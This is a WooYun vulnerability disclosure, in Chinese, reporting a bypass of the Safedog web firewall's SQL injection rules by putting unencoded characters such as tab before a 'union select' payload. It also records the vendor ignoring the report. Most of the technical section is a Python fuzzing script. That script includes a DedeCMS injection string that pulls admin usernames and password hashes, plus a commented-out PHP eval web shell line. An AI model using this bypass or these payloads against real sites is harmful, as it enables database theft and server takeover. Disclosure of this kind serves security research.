当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088115

漏洞标题:安全狗防御规则bypass(又另外一种方式)

相关厂商:安全狗

漏洞作者: MayIKissYou

提交时间:2014-12-22 11:00

修复时间:2015-04-02 10:23

公开时间:2015-04-02 10:23

漏洞类型:设计错误/逻辑缺陷

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-22: 细节已通知厂商并且等待厂商处理中
2014-12-27: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-02-20: 细节向核心白帽子及相关领域专家公开
2015-03-02: 细节向普通白帽子公开
2015-03-12: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

这次不用POST bypass了,这种算通用么

详细说明:

1:我使用http GET发送请求的时候,内容发送到服务器,首先会经过安全狗,然后再到服务器,安全狗肯定是对于我的请求进行了urldecode了,因此想象一下,我构造如下的URL,http://localhost/a.php?aid=x1 union select 1 from table
如果x字符安全处理不好的话,是不是就bypass了呢。
此处我们直接使用ascii字符,不使用urlencode的,因为decode的时候可能对于ascii的处理会有问题的。
2:搭建环境,创建a.php文件,文件回显letmetest(windows下测试的)
3:使用如下代码:

import urllib2
import re
import urllib
#url = "http://bailing.iyiyun.com/plus/download.php"
#url = "http://192.168.4.70/dedecms5.7/dedecms5.7-20110624/uploads/plus/recommend.php"
url = 'http://192.168.4.70/a.php?aid=1%s%20union%20select%201%20from%20table'
payload = '%20union%20select%201%20from%20table'
header = {
'User-Agent' : 'letmetest',
'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundarycMYRelX1B2H69xy9'
}
def getdata(m):
return "1"*m
def postdata(n):
u = "\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\\'` "
data = '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
# data += 'Content-Disposition: form-data; name="file"\r\n\r\n'
# data += '%s\r\n' % "121212112121"
# data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'

# data += 'Content-Disposition: form-data; name="file"; filename="a.jpg.php"\r\n'

# data += 'Content-Type: text/plain\r\n\r\n'

# data += '<?php eval($_POST[val]); ?>\r\n'
data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
data += 'Content-Disposition: form-data; name="sb"\r\n\r\n'
data += '%s\r\n' % '0'*n
data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
data += 'Content-Disposition: form-data; name="action"\r\n\r\n'
data += '\r\n'
data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
data += 'Content-Disposition: form-data; name="aid"\r\n\r\n'

data += '1\r\n'
data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
data += 'Content-Disposition: form-data; name="_FILES[type][tmp_name]"\r\n\r\n'
data += '%s\r\n' % u
data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
data += 'Content-Disposition: form-data; name="_FILES[type][name]"\r\n\r\n'
data += '1.jpg\r\n'
data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
data += 'Content-Disposition: form-data; name="_FILES[type][type]"\r\n\r\n'
data += 'application/octet-stream\r\n'
data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
data += 'Content-Disposition: form-data; name="_FILES[type][size]"\r\n\r\n'
data += '6878\r\n'
data += '------WebKitFormBoundarycMYRelX1B2H69xy9--\r\n\r\n'
return data
proxy = "http://127.0.0.1:8080"
opener = urllib2.build_opener(urllib2.ProxyHandler({'http':proxy}))
urllib2.install_opener(opener)
#request = urllib2.Request(url,postdata(1000000),header)
for i in range(0,256):
request = urllib2.Request('http://192.168.4.70/a.php?aid=1%s' % chr(i) + payload)
try:
response = urllib2.urlopen(request).read()
except:
continue
if(re.search('letmetest',response)):
print 'chr(%d)' % i
print 'bypass ok'


通过输入的内容检查返回的内容是否含有letmetest的内容
4:测试结果

anquangou.jpg


看来\x09等字符会造成bypass哦
5:来个burp的

11111.jpg

漏洞证明:

4:测试结果

anquangou.jpg


看来\x09等字符会造成bypass哦
5:来个burp的

11111.jpg

修复方案:

更新规则吧

版权声明:转载请注明来源 MayIKissYou@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-12-29 18:09 | MayIKissYou ( 普通白帽子 | Rank:195 漏洞数:33 | 勿忘初心)

    当时测试有点草率,貌似里面有一个字符是可以用的

  2. 2015-01-04 15:12 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    又忽略了?